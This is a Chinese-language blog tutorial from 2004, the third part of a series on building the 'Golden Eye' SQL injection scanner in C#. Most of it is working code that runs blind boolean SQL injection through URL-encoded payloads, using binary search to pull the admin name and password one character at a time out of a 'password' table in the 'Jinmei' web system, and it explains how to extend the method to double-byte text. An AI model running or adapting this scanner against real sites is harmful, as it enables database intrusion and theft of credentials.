黄金眼——SQL注入扫描器的制作(3)
( 作者:mikespook | 发布日期:2004-5-16 | 浏览次数:72 )
关键字:黄金眼,SQL注入,扫描器,C# |
“折半查找”是我在“黄金眼”1.2和1.3中使用的查找方法。速度已经非常快了。查找算法的优劣,主要指标就是比较次数。我们希望用最少的比较次数找到我们需要的内容。下面我给大家三个公式,量化比较一下三种查找方法的速度。至于公式的来源,大家可以不必追究。有兴趣的读者可以参考清华大学出版的《数据结构》。 “顺序查找”:ASL = (n + 1) / 2 当n = 20时ASL = 11 “索引查找”:ASL = log2(n / s + 1) + s / 2 当 n = 20,s = 6时ASL = 9 “折半查找”:ASL = log2(n + 1) – 1 当n = 20时ASL = 4 结果为近似值。这里n为查找表的元素总个数。s为一个索引段包含元素个数。ASL为平均查找次数。当然了,这个值越小,查找越快。 从上面的数据我们可以看出“折半查找”效率之高。实际上n的个数越大,查找速度的优劣越明显。我计算过,有65535个元素的时候,“顺序查找”平均需要32768次。而“折半查找”平均只需要15次就可以完成查找。 好了,我已经介绍过使用三种查找方法来得到字段长度的函数。下面我们来看看得到字段内容的实现。依然使用“折半查找” private char GetField(string table, string field, int index, int l, int h) { int nchar = 0; int low = l; int hig = h; int mid; //避免死循环,设置最大查找次数 int tmp = h - l; while((low <= hig)&&(tmp!=0)) { //计算中点值 mid = (low + hig)/2; //判断字段值是否小于中点值 if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table +"%20where%20asc(mid(" + field + "," + index.ToString() + ",1))<" + mid.ToString() + ")")) //缩小扫描范围 hig = mid - 1; else //判断字段值是否大于中点值 if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table +"%20where%20asc(mid(" + field + "," + index.ToString() + ",1))>" + mid.ToString() + ")")) //缩小扫描范围 low = mid + 1; else //判断字段值是否等于中点值 if(this.GetPage(strPage + "%20and%201=(select%20id%20from%20" + table +"%20where%20asc(mid(" + field + "," + index.ToString() + ",1))=" + mid.ToString() + ")")) { //查找成功 nchar = mid; //退出循环 break; } //最大查找次数减1 --tmp; } //返回查找到的结果,为0说明查找失败 return (char)nchar; } 函数我不详细讲解了,其实和获得字段长度的函数差不多。大家自己看看注释吧。 有了获得字段长度和获得字段值字符的函数,我们就可以开始编写真正的扫描代码。调用这些函数来完成我们需要的功能。这里,我使用多线程的方式来完成。由于线程调用函数不能使用参数传递值,必须在窗体类中添加下面的全局字段以向扫描线程函数传递参数: private bool bNameOver;//当扫描管理员名的线程开始时被置false,结束时被置true private bool bPassOver;//当扫描密码的线程开始时被置false,结束时被置true private string strPage;//扫描的目标页面 下面是扫描管理员名的线程函数: public void GetName() { int nNameLen; txtLog.Text += "查询管理员名长度...\u000d\u000a"; //调用GetFieldLen获得管理员名长度 nNameLen = this.GetFieldLen("password", "name", 1, 20); txtLog.Text += "管理员名长度为:"+nNameLen.ToString()+"\u000d\u000a"; //当管理员名长度不为0时 if(!nNameLen.Equals(0)) { txtLog.Text += "查询管理员名...\u000d\u000a"; //执行循环次数为管理员名长度的查找获得管理员名 for(int j = 1; j <= nNameLen; ++j) { txtLog.Text += "查询管理员名第"+j.ToString()+"个字符...\u000d\u000a"; //调用GetField函数获得管理员名的第i个字符,字符查找范围是ASCII码33-126 char ctmp = this.GetField("password", "name", j, 33, 126); //如果GetField函数返回0则获取失败 if(!ctmp.Equals('\u0000')) txtName.Text += ctmp; else { txtLog.Text += "管理员名查询错误!\u000d\u000a"; break; } } txtLog.Text += "管理员名查询完成!\u000d\u000a"; } else { txtLog.Text += "无法查询到可用管理员名!\u000d\u000a"; } //检测密码是否扫描完毕 if(bPassOver) { //密码也扫描完毕,将btnOK解除禁用 btnOK.Enabled = true; } //设置bNameOver,表示管理员名扫描完毕 bNameOver = true; } 同样的扫描密码的线程函数: public void GetPass() { int nNameLen; txtLog.Text += "查询密码长度...\u000d\u000a"; //调用GetFieldLen获得密码长度 nNameLen = this.GetFieldLen("password", "name", 1, 50); txtLog.Text += "密码长度为:"+nNameLen.ToString()+"\u000d\u000a"; //当密码长度不为0时 if(!nNameLen.Equals(0)) { txtLog.Text += "查询密码...\u000d\u000a"; //执行循环次数为密码长度的查找获得密码 for(int j = 1; j <= nNameLen; ++j) { txtLog.Text += "查询密码第"+j.ToString()+"个字符...\u000d\u000a"; //调用GetField函数获得密码的第i个字符,字符查找范围是ASCII码33-126 char ctmp = this.GetField("password", "pwd", j, 33, 126); //如果GetField函数返回0则获取失败 if(!ctmp.Equals('\u0000')) txtPass.Text += ctmp; else { txtLog.Text += "密码查询错误!\u000d\u000a"; break; } } txtLog.Text += "密码查询完成!\u000d\u000a"; } else { txtLog.Text += "无法查询到可用密码!\u000d\u000a"; } //检测管理员名是否扫描完毕 if(bNameOver) { //管理员名也扫描完毕,将btnOK解除禁用 btnOK.Enabled = true; } bPassOver = true; } 现在什么都有了,只要创建线程,开始扫描就OK。在按钮btnOK的Click事件中添加下面的代码: private void btnOK_Click(object sender, System.EventArgs e) { //清空扫描日志文本框、管理员名文本框、密码文本框 txtLog.Clear(); txtName.Clear(); txtPass.Clear(); //将目标页面的地址传入线程使用的全局变量strPage中去 strPage = txtPage.Text; //为了避免用户多次点击按钮btnOK造成输出冲突,禁用按钮 btnOK.Enabled = false; //创建线程 ThreadStart tsName = new ThreadStart(GetName); Thread tName = new Thread(tsName); ThreadStart tsPass = new ThreadStart(GetPass); Thread tPass = new Thread(tsPass); //设置扫描标识 bNameOver = false; bPassOver = false; //启动线程,开始扫描 tName.Start(); tPass.Start(); } “黄金眼”的所有核心代码就都在这里了。 补充一点的是现在这个程序还不能查找字段值为中文的内容。那么如何查找中文内容呢?给大家一点提示:中文是双字节。midb和ascb是针对双字节处理的函数。比如ascb(midb("黑客", 3, 1))返回的就是“客”字的前半个字的ASCII码“162”。ascb(midb("黑客", 4, 1)) 返回的就是“客”字的后半个字的ASCII码“91”。当然还有测试长度用的双字节函数lenb。当你用len测试“黑客”这两个汉字的时候,得到的长度为2。但是用lenb("黑客")得到的字符串长度就为4。呵呵,问题一下简单了许多。当然了,这时候扫描范围也再不是33-126了。将扩大到0-255。 大家是否对用程序模拟枯燥乏味的猜测过程有了一个大体的了解呢?我希望大家能体会一下我在连续升级的几版中使用不同的查找方法加快查找的思路。因为这才是本文的目的所在。我希望大家能够理解程序模拟入侵的思路,动手编写自己的扫描器。 最后我要特别提出,我不是光破坏不维护的人。扫描器和“金梅”系统的补丁在我的站上都有下载。使用“金梅”系统的朋友最好还是打上补丁吧!如果对文中的任何内容有疑问也可以在留言板上给我留言:http://www.xxiyy.com 。祝大家玩得开心!(^_^) |